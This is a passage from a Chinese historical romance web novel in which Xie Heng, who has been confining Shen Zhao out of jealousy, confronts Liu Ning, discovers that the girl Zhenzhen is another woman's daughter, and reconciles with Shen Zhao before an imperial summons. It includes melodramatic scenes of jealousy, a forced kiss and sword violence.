家丁慢慢开口:“夫人,少爷,少爷府上的人来寻他,说有急事要报。” “母亲,我去去就来。”谢珩躬身作礼,随着家丁往门外赶。 “珩儿!” 还未等李立雯开口,谢珩已随人出了府,只留下一片衣角。 待谢珩赶至门外,府里家丁从马上跃下:“少爷,你快回去看看吧,自你走后,来了一个面容清瘦的青衫男子,硬闯入府,非要带夫人和那个孩子离开。 他带了十多名壮汉,和府里的家丁僵持不下,我们不敢冒然出手,杨方让奴才先来寻你。” 第65章 谢珩直接夺了他的马,快马加鞭往回赶,他竟未料到一个弃夫,有何颜面敢去他的府上要人。 柳宁这厮未免太不自量力。 索性他府中既有普通家丁,也有专门的练家子,有功夫傍身,护院有力,将宅院里里外外围堵得严实。 谢珩赶到时,柳宁一众人等还站在门前,并未向前踏进一步。 谢珩这方,府中家丁数十人,武艺高强者十余人,远观其貌不扬,两人个凑一起还不如柳宁手下一人魁梧,但个个精壮,内行一看便知功夫不低。 柳宁虽然人数上占了下风,但他没有任何惧色,见谢珩赶回,虽错失直接将人带走的良机,可仍然挺直脊背,故作镇定。 念着谢珩已经误会,他顺水推舟说道:“谢珩,你夺人妻女,还不快将她们交出来。” 谢珩哑然失笑:“何来的妻女?你们可拜过天地?可签过婚书,在场可有人喝过你们的喜酒?” 柳宁怒视着他,到底心虚,只能抿唇不语,他给不出回应。 谢珩直言:“既然没有,为何说是我抢你的妻儿?你为何不看看她们可认得下你。” 若是前一日,谢珩似乎还会给他几分薄面,毕竟这四年是他陪伴沈昭,但沈昭亲口说过,已同他没有任何情分了,蓁蓁又不愿认这个爹,他也不必给柳宁留面子。 柳宁虽不确定沈昭的心意,但他下了决心将她们带回,不会示弱,他反将一军:“谢珩,你不过是怕了而已,你怕沈昭不选择你,对么?” 看他脸上闪过一丝犹豫。 柳宁继续激他:“若是你有把握,又岂会将她们母子关在此处。” 他确实说中了谢珩的心事,哪怕她们同床共枕,做过最亲密的事,可他仍不确定,他没有把握沈昭会心甘情愿留在她身边,毕竟四年前他们就曾如此分开过。 柳宁的话切中他的要害,若不是怕沈昭逃了,他又岂会将她困在府中,限制她的自由。 谢珩敢同金科状元文斗,又能不惧生死,只身一人闯敌营,却唯独在沈昭面前没有足够的底气和把握。 往来的车马纷纷,车上的人不时掀起车帘侧目,两方对峙,数十名汉子围在一起,如此场面令谁都会好奇,想一探究竟。 谢珩不愿惹人非议,姑且让了一步:“你可随我入府,遣了你带的那些人,让他们离开。” 柳宁并未理会,他手无缚鸡之力,众人一起强攻都未必能将沈昭和蓁蓁带走,何况只靠他赤手空拳? 他置之不理,只大步上前,他身后的人亦随他同进。 “嗖——”破空之声擦过他耳畔。 一枚细小的青石挟风而来,擦过他的颧骨,脸颊微痛,细小的血珠沁出,他用手去拭,指间染血。 那青石怦然击于柳宁身后几丈外的树干,凿进一个半指深的孔洞,树叶簌簌而下。 谢珩摩挲指尖,不屑道:“难道你有把握能打得过我府中的家仆?” 被谢珩打的伤还隐隐作痛,柳宁嘴角抽了抽,只能姑且信他一次,最终无奈地转身付了银子:“各位大哥,有劳你们走一趟了,今日就到这儿吧。” 那些人倒也算有几分道义,并未走远,在府外等着柳宁出来。 谢珩将柳宁引至前厅,并未急着带他去见沈昭,实则是他心中没有把握。 毕竟还有那个孩子在,沈昭哪怕对柳宁无意,可她会不会因孩子妥协? 柳宁有句话不得不令他心生思虑,孩子是两人之间的骨血,哪怕他不在乎,但是沈昭一定会在意。 可他又自我安慰,她走便走了,只要有他在的一日,他一定能寻回她。 谢珩:“这是我们三者之间的事,我不会为难那个孩子,至于沈昭愿不愿意同你离开,全看她的意愿。” 他眸底的暗色渐深,搭在剑鞘上的手不觉摩挲,他很想知道她的选择。 柳宁、孩子与他,对于沈昭而言,到底哪方重要。 柳宁未料到他竟真给了机会,提议道:“我需要些时间,单独同她聊聊。” 谢珩吩咐家仆带柳宁去见沈昭。 踏出门槛前,柳宁侧身说道:“谢珩,君子不窥密,不侧听于墙隅,你应该也知晓个中道理吧。” 他意在提前点他,莫听人墙角。 总归只要能将沈昭带回,无论寻何理由,只是多费些口舌罢了。 只要沈昭随他离开此处,既能诛谢珩的心,又让这误会加深,何乐而不为。 谢珩听罢嗤笑,反而越过柳宁,大步走在前,毫不避讳。 事无不可对人言。 若是光明磊落、言正身行,又岂会怕旁人听去,他自然不会窃闻于窗下,他直接在院子里光明正大的听。 西院厢房内。 沈昭兴致缺缺,夏安随着春宁在一旁做针线活,口中的哈欠却不断。 以往虽然少爷小姐不在府中,但春宁和夏安倒也乐得自在。 如今盼星星盼月亮将她们盼回来了,可小姐却整日被关在此处,她们只恨自己无能无力,没法帮小姐逃出去。 沈昭单手托腮,望着庭院深深,她那些心思被谢珩摸透,除非长了翅膀,只怕她一时飞不出这四角牢笼了。 春宁和夏安两人陪在她身侧,三人皆不知道府外的热闹。 因着谢珩吃软不吃硬,她只得等他回来后,从长计议,最起码先设法通信,让夏目知道她们二人安好,让她宽心。 院中闪过一抹青色身影,门外的人影靠近,沈昭本以为是谢珩,起身去迎,谁知门打开后,柳宁站在她面前,眼眶微湿,柔声说道:“沈昭,出事了。” 他脸上伤痕可怖,本就生的白,倒凸显淤伤青紫愈发明显。 他一改刚才府门前气势汹汹模样,一副弱柳扶风之姿,蹙着眉头提步入内,沈昭下意识搭把手,托住他的臂弯。 这一切被正赶往此处的谢珩看的真切。 柳宁入内后,看着一旁的两个婢女,有几分犹豫。 当着外人的面不方便说话,何况是谢珩府上的人,若是将他的话宣扬出去,他岂不白折腾一番。 沈昭:“你怎么受伤了,是谢珩?” 柳宁侧了侧脸:“无事,一点小伤。”算变相承认了是谢珩的手笔。 他刻意压低声音,尽量不让门外的人听到,可仍不放心这两个婢女:“我有些话只能同你说。” 沈昭暂让她们二人退下,屋内只余她和柳宁。 房内的窗户未开,只能隔窗看到墙上两人的身影,谢珩眯起眸子紧盯着墙上的身影,指节却兀自蜷起暗暗发力。 两人独处一室,沈昭对柳宁一向坦荡,心里又急着想给夏目通信,让其安心,没有多做他想。 她虽然心中只把柳宁当做朋友,可在谢珩眼中却并非如此,再加上蓁蓁,如今有嘴都说不清。 沈昭猜测是因着之前的误解,柳宁被他打了,满心愧疚问道:“谢珩为何打你?是不是他还误——” 她说话声音虽不大,但也没刻意压着,透过窗柩传到谢珩耳中,他目光仍一直凝在她身上。 柳宁的声音压过她,及时打断:“我没事。” 谢珩眉间轻折,瞥到柳宁身影的目光登时带了几分煞气。 未料到柳宁会有如此大的反应,沈昭声音不觉低了低:“你怎么会来这,对了,蓁蓁也在此,若你一会出去,务必要给夏目报平安。” 柳宁同样沉着声,以防在院中的谢珩听得:“我来此正是为着这事,夏目因着上山寻不到你们两人,又从山上滚落下来,她近些时日,本就被惊云搅扰得不得安生,我听大夫说,她怕是要不行了。” 他一本正经说出口,又添油加醋般故意夸大,只要沈昭同他回去就好。 “什么!?”沈昭猛地起身,概因柳宁平日为人踏实,她从未怀疑过他话中真伪,“不行,我得回去看看她,带上蓁蓁一起。” 她刚直起身子,忽觉袖口一紧,被柳宁拽住。 “沈昭,你先别急。”柳宁话语间掩饰住唇角勾起的笑意,清咳两声,余光瞥到墙上的人影,有意往前凑近,他不仅要带沈昭走,更要加深他们之间的误会,他的广袖垂落覆在她的藕臂之上。 檐外风定。 谢珩在月洞门旁身形凝滞,指节扣着的玉带“咔”地迸开细纹。 室中帷帘半卷,沈昭和柳宁,一个仰首相迎,一个俯身未稳,投在墙上的剪影,竟如交颈鸳鸯般。 不仅落在墙上,更错位在谢珩眼中。 沈昭只念着夏目安危,哪还能再听进柳宁的话,不由分说往外走:“我们这就带蓁蓁回去!” 她不顾柳宁劝阻,刚提步往门口走,蓦得一阵风涌进屋内,荡开她垂在肩上的青丝。 门扉被谢珩以剑气震开,寒芒乍现,随着“轰”的一声脆响,木质的门框砸在墙上,当即裂成两半。 他提剑而来,广袖翻涌似墨云遮日压城,剑穗的坠子簌簌震颤。 眼中全是杀意,指节青白攥住剑柄,手背的青筋凸起,绷至极限,强忍着没有一剑杀了柳宁。 第66章 谢珩的深色衣袍在风中烈烈作响,盛夏的燥热好似也消解不了他周身散发的寒意,所过之处连夕阳洒下的暖色也凝住不动。 沉香混着凛冽的杀气扑面而来。 哪怕那日他对自己大打出手时,柳宁也未见过他如此动怒,他手撑着桌子,默不作声地退后几步。 谢珩的目光如利刃般刮过眼前的两人,冷笑出声:“既然你们聊了,也该轮到我好好聊聊。” 他反反复复地劝自己,若她真有意于此人,他应该有些气量,容下他。 可心中的自我劝慰是一回事,当面见他们二人亲昵又是另一桩事。 沈昭虽不知他因何生气,但心里念着夏目,仍旧快步上前,衣袂带翻了桌上的茶盏,青瓷落地应声而碎,让谢珩暴戾的心绪更躁动几分。 沈昭手搭在谢珩执剑的手上:“谢珩,我要现在带蓁蓁回去。” 此话一出,谢珩本就深邃的眼眸顿时翻涌着骇人的风暴,他修长的手指捏起她的下巴,力道大得生疼。 沈昭被迫仰头看他,他指腹上的剥茧磨过她的肌肤,掐得立刻显了红印。 谢珩本就身量高,在疆场这四年的厮杀,昔日修长如竹的身形平添了几分铁血悍厉。 深色衣袍裹着宽肩窄腰,每一寸线条都如刀削斧刻般,透着久经沙场的凌厉。 眉骨如刃,鼻挺若峰。 下颌比离开长安时深了几分,更衬得那双眼睛愈发摄人心魄。不言不语时,眉目间含的煞气,不敢教人靠近。 更遑论现在,一剑破空,直接将门撕开了。 院中静得可怕,连鸟雀都噤了声,所有人跪了一地,默不作声。 沈昭搭在他手上的指节收了收,后知后觉地涌起一股寒意。 她细小的退让,如同一把利刃狠狠扎在谢珩身上。 谢珩垂眸,望着她紧蹙的眉心,和犹豫躲闪的目光,俯身狠狠吻了下去。 这根本不是吻,而是撕咬般的惩罚。 他狠狠地侵占她的唇舌,仿佛要将刚才所见的那一幕从她唇上生生抹去。 他舌尖扫过她最敏感的上颚,叼着她的下唇狠狠一吮,铁锈味瞬间在唇齿间弥散,她疼得闷哼一声,双手抵在他胸膛上拼命推拒,却如同细软的棉花捶打在铜墙铁壁之上,毫无作用。 沈昭偏头躲闪,却被他捏着下巴扳回来。 反复撕咬。 “谢珩,你放肆”站在他们身后的柳宁方一开口,谢珩垂着眼随手将剑掷出,在柳宁刚刚被石子划伤的脸颊对侧,划出一模一样的血痕。 沈昭杏眼圆睁,皱着秀眉狠下心,贝齿开合咬住他不安躁动的小舌,用力推开他:“别这样。” 柳宁捂着另一侧的脸,瘫坐在桌旁,浑身被汗浸湿,若说刚刚的石子只是试探,这真枪实剑向他刺来时,他慌得连呼吸都滞住了。 他惊魂未定地粗喘着气。 沈昭焦急地向柳宁跑去,反被谢珩死死攥着手腕,他眼中蕴着怒火:“沈昭,怎么你和他如此商议就是理所应当,到了我便是疯了?今日若同他走出这里,你我之间就此一刀两断。” 沈昭适才恍然,她解释道:“你误会了,你站在院中看不分明,光天化日之下,我们又岂会逾矩,只是错位罢了。” 谢珩已然辨不分明,两人交叠的身影在他脑中久久不散,越想忘便越难忘。 哪怕方才一切都是假的,可眼见为实,蓁蓁一口一个娘亲叫着,又岂会有假。 谢珩被妒火冲昏了头脑,哪还听得进去她的解释:“那若是旁若无人,夜深人静便可以了?” 沈昭无力同他辩驳:“你若不信便算了,我必须带蓁蓁回去” 手上的力道突然卸下,谢珩苦笑一声,缓缓松开手心里带了最后一份希冀:“罢了,要走要留随你。” 谢珩立在原地,无声等着她最后的选择。 沈昭抿掉唇边渗着的血,扶起柳宁,头也不回地走出院子,去接蓁蓁。 偌大的宅院登时寂静无声,满院的家仆无一人敢动,只有树影婆娑,沙沙轻语。 蓁蓁正在屋里捏泥人,双手沾满了泥,白嫩的小脸上也沾了些,她团起一小团,放在手中揉搓,嘴里念念有词:“我要捏个娘亲,一会见到她就可以送给她啦。” 旁边侍奉的婢女手执团扇,站在她身后侍奉,腕间轻转,徐徐生风。 沈昭疾步走到屋前,看守的家仆执礼:“夫人。” “开门。” “这夫人稍候,我去请示一下。”家仆之前被杨方特意吩咐过,不敢轻易放人。 一人匆匆去前院禀告,其余的家仆不敢有任何动作。 沈昭也没有冒然行事,虽然身旁多了柳宁,但若是强闯,她们二人无任何还手之力,只怕又要耗费一番功夫。 蓁蓁听到门外她的声音,跳下木凳:“娘,你这么快就来接我了,我的泥人还没捏完呢。” 听到她的声音,沈昭心安了不少,她安抚道:“蓁蓁乖,我们一会儿回家去捏,先不玩了,你阿娘还在家等你呢。” 提及夏目,她忧心不已,不时望向垂花门,盼着那家丁能快些回来。 未久,家丁匆匆赶回,从怀中取出钥匙,打开房门。 沈昭冲进去,顾不得她手上的泥,抱起蓁蓁往外走。 蓁蓁笑眼弯弯,看到一旁的柳宁,泥黢黢的小手指着他:“柳叔叔也来啦,怎么不见我阿娘。” 柳宁:“你一会儿你就见到了。” “等等,”蓁蓁回望着桌上那些玩意儿,“柳叔叔,帮我拿着那个竹蜻蜓,那个叔叔说,如果我再想飞飞,只要将竹蜻蜓飞出去就好了,他就会看到。” 柳宁自是不会帮她,站在原地未动,都是哄小孩子的把戏罢了。 何况今日一走,沈昭又岂会让谢珩再接近蓁蓁。 服侍的婢女眼疾手快,放下团扇,将竹蜻蜓递到小丫头手中,又恭敬地退至一旁。 沈昭匆匆抱着蓁蓁出府,这一路走得顺畅,谢珩答应放他们离去,果然不再阻碍。 府门前,甚至备下了马车,摆好脚凳。 家仆在一旁:“夫人,请上车。” 柳宁带来的人等了多时,早散个干净,他拦在她们身前:“当心有诈。” “无妨。”沈昭先将蓁蓁抱上马车,谢珩既然放她们出府,那便不会多此一举,在路上为难她们几人,她还念着夏目的伤势,不愿再耽搁时间,拎着裙摆,速速上了马车。 柳宁则不情不愿地坐在车夫旁。 行至半途时,沈昭怕若是直接将蓁蓁带去见夏目,会吓到孩子,她掀开车帘,同柳宁商议:“一会儿,你先带蓁蓁去你那儿坐坐吧。” 她轻轻眨眼示意,希望柳宁能懂她的言外之意。 既已出府,柳宁目的已成,无需遮掩,他直言:“夏目没有大事,只是崴到脚了,方才如此说,事出有因,我并不想故意欺瞒于你。” 沈昭眉心轻折,但念着柳宁一向本分,何况他受了伤,此番冒险助她和蓁蓁出府,自是不会怪他。 索性她们已经踏上归程了,哪还顾得他欺不欺瞒,只要夏目无事就好。 她轻吁一口气,一件接一件的事,逼得她无法静下心,如此,倒也顺利带蓁蓁离开了:“那先回茶铺吧。” 马车内,蓁蓁带走的竹蜻蜓被放在一旁,她拿着手帕在擦手上的泥。 沈昭拉过她的小手,帮她擦拭:“一会儿回去洗洗就好。” 蓁蓁:“那娘,你帮我拿好竹蜻蜓。” 沈昭拿起,放在手中转了转,这竹蜻蜓倒并无不同,甚至:“就这么喜欢?我记得家中不是也有此物。” “那不一样,那个叔叔身边的人好厉害,会带我飞,娘,你飞过嘛?像鸟儿一样,嗖一下就飞上房顶了。”蓁蓁说着,小手张开比划着,笑得眼眸亮亮的。 “好好,蓁蓁要是喜欢,你以后也学厉害的功夫,就可以自己飞喽。” 马车悠悠驶向茶铺,车内的欢笑声不断。 数丈之外,谢珩骑在马上,车中的嬉闹声随风吹进他耳中。 他似乎很久没见到沈昭笑了,自他回来后,面对着自己,她好像从未笑得如此开怀。 真的是他做错了? 毕竟四年光景,物是人非。 看着马车缓缓停在茶铺前,他们三人站在一处。 暮色渐染,天边余霞如绮,碎金满地。 柳宁一袭青衫,眉目温润,目光始终追着着一旁嬉笑的母女。 沈昭抬手为蓁蓁拢好额间的碎发,指尖拂过她衣上的褶皱,整理衣襟,动作轻柔。 蓁蓁手里攥着的竹蜻蜓高高举起,倒让他心中掠过一丝暖意。 谢珩立于马上,深色衣袂被晚风微微掀起,又沉沉落下。 眼前的一家三口沐在暖金色的余晖中,连影子都融在一处。 街上行人纷纷,只余他的身影孤孑。 他静静看着,唇角似要扬起,又抿成一线,目光仍落在沈昭身上。 “少爷,起风了。”杨方不忍见他如此,小声提醒道。 谢珩置若未闻。 若当年他闭了闭眼,喉间溢出一声几不可闻的叹息。 罢了,他强行抢来的片刻欢愉,又怎敌这般岁月静好。 若她笑靥如画,他又何苦非得入画,破坏这份圆满,他打马调转方向:“我们走。” 第67章 “阿娘!”蓁蓁见到夏目,奶声奶气喊道,跑进了夏目的怀中。 谢珩已走远,并未看到眼前这幕。 沈昭看夏目一只脚尖轻点着地,行动不便,上前扶住她:“让你担心了,是我不好。” 几人一同向后院走去,安抚蓁蓁睡下后,柳宁先一步走了。 沈昭将这几天的事说与夏目,起初夏目听得云里雾里,眉头拧巴到一起,后来知晓其中因果,她笑得合不拢嘴:“原是谢家那少爷误会了!都怪蓁蓁这丫头,明儿我就好生说说她,必须让她改口。 他等了你四年,眼下却误会你这般深,这可如何是好?” 沈昭:“不聊我了,这几日我生怕吓坏*了蓁蓁,你脚上有伤,先好好养一段时间,陪陪蓁蓁,我这段时日留在店里。”- 谢珩手搭在缰绳上,眼眸虚置着远方,无声无响,比那庙宇之中的佛像更没有活人气,若非杨方在旁帮他扯住缰绳,只怕早撞上街边的行人了。 杨方不敢多言,只四下注视,以免误伤他人。 忽地街巷闪过一抹熟悉的身影,虽只看了个侧颜,但杨方凝神细想,那人不正是惊云么! 他身后跟着一群人,一看便知,是一群不着四六的地皮无赖,行踪鬼祟,实在可疑。 四年前,谢珩派下属盯着此人,他被捕入狱,可最终结案时,谢珩早踏上了塞外之路,也将此人忘在脑后。 杨方依稀记得,当初追查他时耗费不少人力,可惊云只在狱中待了几年,并未重判。 “少爷,那不是惊云么?他竟然出狱了。”杨方抬眼示意。 谢珩眼皮动也未动,沉声道:“抓回来。” “?”杨方不敢多问,但既然谢珩吩咐了,他不敢不从,果断翻身下马,寻着惊云一群人的踪迹追去。 眼瞅着他们向茶铺方向走去,杨方加快了步伐,跃到他们身前,笑道:“惊云,好久不见。” 惊云一朝从金吾卫成了阶下囚,差事没了,妻女又不认他,本就不愿同之前认识的人接触,他眼神躲闪:“你认错人了。” 若是真动起手来,四年前或许杨方心中没底,但观惊云走路脚步虚浮,脸上横肉隐现,全然没了曾经日日操练的精气神,便知他武功荒废大半。 杨方自然不怕他,他展臂挡在惊云面前:“少爷要见你一面,跟我走一趟吧,”瞥见惊云身后人手中藏着的刀子,杨方挑眉看向他们,“几位弟兄,持械斗狠,若致人伤残,轻则杖百,重则徒三年,甚至流放,若是将人打死了,可就是抹脖子的事了。” 众人犹豫着不知如何,杨方主动为其让出一条道:“既想自寻死路,去吧,我可不拦着你们,”他故意提醒道,“对了,你们眼前这个雇主,估计刚被放出来不久,以后若你们一并被抓进去,让他多给你们通融通融吧,毕竟他也在其中呆了几年。” “你”惊云被他调笑奚落,咽不下这口气,挥刀向他砍去。 杨方侧身一躲,口中啧啧:“太慢了。” 话语间,直接出手,干脆利落地扭断了惊云的手腕,惊云手里的刀应声而落,他半跪于地,强忍着没有出声,但额头上溢出的汗珠连连滚落。 杨方抬脚一踢,将他丢落的刀踢到一旁,不屑地看向他们:“还有谁要上?” 这群被惊云雇来的人,本就是充个人数,吓唬吓唬那茶铺里的小娘子罢了,看见杨方动真格的,把他们的雇主都钳住了,只得屁滚尿流,丢盔弃甲溜了。 “少爷,人带来了。” 杨方将被反剪着手捆住的惊云扔到谢珩面前:“少爷,他刚刚带着人往雅茗茶铺去了,他手下的人个个都抄着家伙,幸亏我们将他及时拦下,否则还不知道会给沈姑娘惹多大的事。” 杨方忽地噤声,也不知该不该在少爷面前提起沈姑娘。 自上次一别,谢珩差点忘了惊云这回事,他记得沈昭同他一起去客栈,将惊云的妻子带回长安,还特意派人看顾,此事为了保密,杨方也不曾知晓。 谢珩翻身下马,轻薄的翘头丝履绣着云纹,却步步挟着威压,向他逼近:“你去茶铺,所谋何事,如实招来。” 惊云轻啐一口:“我既已出狱,我想去何处便去何处,这犯了国法?莫仗着身份欺人太甚,你们当街劫掠,才是罔顾律法。” 杨方拿出惊云备好的刀,放在他眼前亮了亮:“谁人出门随身带着刀剑,少爷,他既不说实话,我把他送衙门里去。” “送去。”谢珩本就心绪不佳,更无暇同他牵缠。 “我回去看我自己的媳妇儿,与你们有什么关系!”惊云被杨方拉扯着走远,出声大喊。 谢珩抬眼:“等等,”他走近几步,“你的妻女在雅茗茶铺?报上她们的名姓!” “夏目。”惊云在出狱后才从夏目口中得知,她并不是晋国公府走失的小姐,他汲汲营营的一切,到头来只是一场空。 谢珩心中那团迷雾似乎终得以见得一线天光,他掐着惊云的臂膀,着急问道:“那你女儿呢,她姓甚名谁!” 惊云被他捏得生疼,仿佛骨头都快捏碎了:“夏蓁蓁。” 蓁蓁。 不正是沈昭身旁那个小丫头! “我没有爹”蓁蓁的话他记得清楚,原来柳宁与她没有关系,惊云才是她的生父。 当日护送夏目回长安,沈昭一直在场,两个女子惺惺相惜,走得近些,是在意料之中。 只是谢珩早忘了夏目这一桩事,竟糊涂了这么久,甚至将被怒火冲昏了头脑,全然听不进她的解释。 胸腔里翻涌的热意再也压不住,谢珩抬手掩住眉眼,指缝间却露出他微扬的唇角,纠结多时的心绪骤然松泛下来,原来他自缚的枷锁都是虚妄罢了。 杨方在旁听得明白,松了一口气,这些时日他终是见到少爷笑了。 谢珩一把拎起地上的惊云:“我从未听过,何人去见自己妻女还是带着刀回去的?惊云,若是你再敢出现在茶铺附近,找旁人的事,你该是最了解金吾卫的办事作风。” “是,我知晓。”惊云只得先面上应下,同他们硬拼只是自取欺辱罢了。 毕竟他并未触犯任何例律,杨方带他去衙门,不过是吓他一下罢了,若无实证,官府不会真定他的罪。 惊云忍着痛,迈着步子独自离开。 眼中的狠辣尽显,都是那个女人的错,若不是她先霸下了谢怀瑾的身份,又岂会阴差阳错走到今日,现在夏目和蓁蓁又被那个女人蛊惑,整日闹着同他和离。 那个女人夺走了他的一切,害他沦落至此,他暗下决心,一定要让她付出代价! 谢珩对杨方另有安排,不能只信惊云的一面之词,他让杨方去之前夏目住的宅院查她这些年往来,为防万一,一并去查柳宁。 他自己亲自去了一趟京兆府,因着沈昭仍的过所仍属于严元清,上次他只查了严元清的婚事,却被一个丫头蓁蓁蒙蔽了双眼,这次他要万无一失,要亲自去探真相。 县令听得通传,整理官服,疾步上前去迎他:“不知谢大人亲自登门,有失远迎,还请恕罪。” 以谢珩的官阶不必向他致礼,但长安县令毕竟年长于他,他回之以晚辈礼:“事急叨扰,是谢某失礼,还请李县令借户籍薄一看。” 经过谢珩的翻看,柳宁和严元清均未成婚,倒是夏目和御风在户籍簿中登记过。 这四年光景,如一幅画在他面前铺开,沈昭身边人的脉络逐渐变得清晰,似同她之前曾说过的话互相印证。 许久,他松了口气,唇边扯出一抹浅笑。 原是他自己被理智冲昏头脑,由着一个简单的称呼便深信不疑。 太过可笑了。 是他太过着急,忽略了以沈昭的性情和行事,又岂能按常理推论。 县令见他手握卷册,一时愣怔不语,忽而又笑得灿然,低声问询:“谢大人,可有何不妥?” 谢珩想起惊云的话和蓁蓁对其的态度,指着其上夏目的名姓问道:“这名女子可因婚事递交过诉状?” 县令紧了紧眉头,他整日处理长安城各种杂事琐事,莫说只凭人名相认,只怕是这女子站到他面前,他也无甚印象,何况女子因婚事诉到衙门的案子更是少之又少,他擦了擦头上的虚汗:“下官这几日,还未来得及整理衙内的卷宗,还得问问师爷。” 谢珩打断:“不必了,这女子的夫君先前下过大狱,出来后不思己过,我今日来时还见得他提刀寻事,女子和离本就不易,她婚前所托非人,若非相处亦不可知。 我虽知民不诉官不理,但烦请李县令费心派人走一趟,若是她有意和离,还请您帮衬一下。” 李县令连声应下,谢珩亲自走一遭,可见对此事的重视,他自然会尽心尽力办妥。 谢珩又同其寒暄几句,而后离开。 惊云搅扰得夏目一家不得安宁,只怕会给沈昭带去诸多不便,若是解了这后顾之忧,她的生意该会更进一步。 去京兆尹走这一趟,天色已深,只余一痕冷月悬于中天。 谢珩先前遣了杨方回府,走到晋国公府门前时,他顿了顿脚步,又转身走入夜色中。 他不明真相地将沈昭囚于私宅中数日,又把那个无辜的孩子牵扯其中,心中的愧疚翻涌不息。 只因着他一己私欲,他如此行径又同惊云这等有何区别,是他自己亲手将她推开了。 一日之内心情起落复杂,他沉思细想,懊悔不已,不觉中路过府前大门,越走越远。 家仆抬眼见谢珩掠过门前,又不敢轻易出声。 “谢珩,这么晚了,你要去何处呀?” 身后沈昭的声音响彻在空寂的街市上。 谢珩转身,眼前人手执一盏纱灯,青丝随风而扬,浅笑望着他。 灯影在她眉目间摇曳,衣袂飘飘,被纱灯映至暖色,却不及她眼中的似水柔情。 第68章 眼前的一幕美好的太不真实。 谢珩脚步僵在原地,一时错愕,持刀斩杀敌将,从尸山血海中走出,仍面无惧色的他,竟生怕因自己的妄动惊扰这一切。 哪怕谢怀瑾没有走失时,他亦被教导作为兄长便要有兄长的气量和模样,这些年宦海浮沉、沙场铁血,他早就习惯了孤身独行,何曾想过竟有人为他留一盏灯。 沈昭提着纱灯,静静立于府前的石阶上,昏黄的光晕落在她素色衣裙上,如一团暖雾浮在寒夜里。 沈昭见他迟迟不动,提着纱灯,款款向他走来。 烛火将她瓷白的脸庞染上一层暧昧不明的光,一瞬间恍惚回到四年前,他外出巡值,每每出门时,她总会向他招手,笑着喊:兄长,早些回来。 一如现在,她只微微一笑,眼中似有星河倾落。 她将灯举起,齐至谢珩的眉眼:“让我瞧瞧,是谁迷路了,竟在自家宅院门前绕圈子?” 短短一句话,却催尽他所有克制和心防。 谢珩一把将她揽入怀中,纱灯坠落于地,光晕在地上滚了几圈,照亮两人交叠的衣袂。 抱着她的手臂越收越紧,仿佛将她揉进骨血。 “我以为你走了。”他埋首在她颈侧,声线微颤。 沈昭抬手抚上他的后背,轻声道:“不是还有你在可怜兮兮地等我么?好啦,”沈昭被他勒得险些喘不过气,将他推开,“还有旁人在呢。” 谢珩听着她呼在耳畔的轻喘,指尖不由得蜷了蜷,但仍不舍地放开她,两人一道回了府。 他的目光像黏在她身上一般,手紧紧拉着她不放,生怕一个失神又让她溜走。 春宁和夏安本还为着白日他们两人大吵一架的事,忧心不已,心里放不下沈昭,转身却见他们如胶似漆地同行归来,垂首低笑着退下:“少爷,小姐,我们去备水。” 沈昭将他摁在木椅上:“你再如此看着我,怕是要将我看穿了。” 他有力的手锢住她的腰身,腕间发力,将她带入怀中,沈昭措手不及,撑在他肩侧,跨坐在他腿上:“不要闹了,我要去沐洗了。” 两人彼此之间只隔着一拳距离,她身上的甜香萦绕在鼻息间,谢珩眸底映着摇曳的烛火:“我同你一起。” “不行。”她一巴掌拍在谢珩肩头,绝了他的念头。 谢珩收了收手,只两手贴在她腰侧,没刻意霸着她,但又并未放手。 沈昭早就同他解释过,只是他误会得深一直听不进去:“今日我随柳宁回去,是为了夏目,你可还记得她” "嗯,"哪怕已猜到她接下来所说,谢珩仍认真听着。 沈昭:“蓁蓁是她和惊云的孩子,只不过从小在我身边,同我亲近,就由着她叫了,今下午,我以为夏目出了事才匆匆赶回茶铺,不是故意舍你而去。 我和柳宁更没有任何私情,一切都是误会罢了。” 她说完之后静候谢珩的反应,却只见他带着笑意凝着她。 “嗯?”沈昭抬了抬长睫。 谢珩苦涩说道:“你骗我骗得好苦。” 明明他眼眸中的潮气隐现,话语间全是委屈,可想到他不管不顾地几次强硬地索取,沈昭置气说:“明明每次我都想同你细说清楚,可你总是堵住我的嘴,我如何开口。” 谢珩勾起唇角,忽地贴上她的唇,轻蹭了蹭又挪开:“是这样么?” 沈昭又羞又恼地推开他。 谢珩神色认真说道:“我知道。是我一时被嫉妒蒙了眼,不该不信你,更不该如此冲动行事。” “一切都过去了,还好你平安归来。”沈昭静静看着他的眉眼,将他看入心底。 谢珩执起她的手,攥在掌心,仿佛捧着一块价值连城的美玉,吻了又吻:“以后的每一天,我都会陪在你身边,你也不许走。” 轻轻的吻渐渐变了味道,顺着她的藕臂一点点攀附,沈昭适时将他推开:“我要去沐洗了。” 知她羞涩,谢珩没有勉强她,压下心中的火:“去吧,我等你。” 沈昭刚踏出房门,便看到通传的家丁步履匆匆,神色慌张跑来:“夫人,宫里来人了,请速速请老爷出府迎接。” 还在屋内的谢珩起身。 接圣旨和诏书是极其庄重的仪式,需设香案,备仪仗,接旨之人需着正式冠服,以示尊敬。 但因着谢珩有功在身,还未受封赏,又是陛下的亲外甥,高公公知陛下对他甚是看重,亲自入府来迎。 春宁和夏安毕竟在晋国公府伺候多年,机灵地伏地跪拜,其他家仆有样学样,院中顿时跪了满地。 远远便瞧见为首的高公公高昂着头,目不斜视。 沈昭不知其中礼仪,只学着他们的样子,跪在一旁。 谢珩行稽首礼,刚落下膝盖,高公公扶他起身,脸上带着热情的笑意:“谢大人快快请起,皇上吩咐只是口谕,无需多礼。大人上次进宫封赏,陛下思虑良久,有了定夺,还请大人明日一早进宫,陛下自有安排。” 谢珩领下圣上口谕,谢过特意前来的高公公,他在宫中同其还算相熟,亦不拘礼。 他先扶着沈昭起身,高公公的目光落在沈昭半息又低垂下眼眸,意味深长地看着谢珩笑了笑,由着他们二人送他出府。 送走高公公后,念及此前谢珩便要辞官归隐,沈昭不由得心中顾虑重重,怕他明日会一时冲撞了圣驾。 她还未开口,谢珩却先一步言明:“沈昭,我不愿欺瞒于你,我其实并无十足的把握,明日进宫只怕圣上仍会不允。但我心意已决,只要能同你在一起” 他愿意放弃舍掉一切前程富贵。 沈昭紧紧握着他的手:“谢珩,两人能够共同对抗世俗固然伟大,可我不愿意看你因为婚事背负不忠不孝的骂名,人之一世,不止有夫妻相伴的情谊,还有责任和其他珍贵的感情。” 谢珩将她紧紧拥入怀中:“放心,我明日自有交代,此生有你一人,足矣。” 因着明日要进宫面圣,怕扰着谢珩休息,沈昭沐洗后本不欲与他同住。 可她去哪处厢房,谢珩便粘着她去何处,来回折腾了两个房间,再闹下去,只怕全府上下的人都知晓了,沈昭适才同他共卧一处。 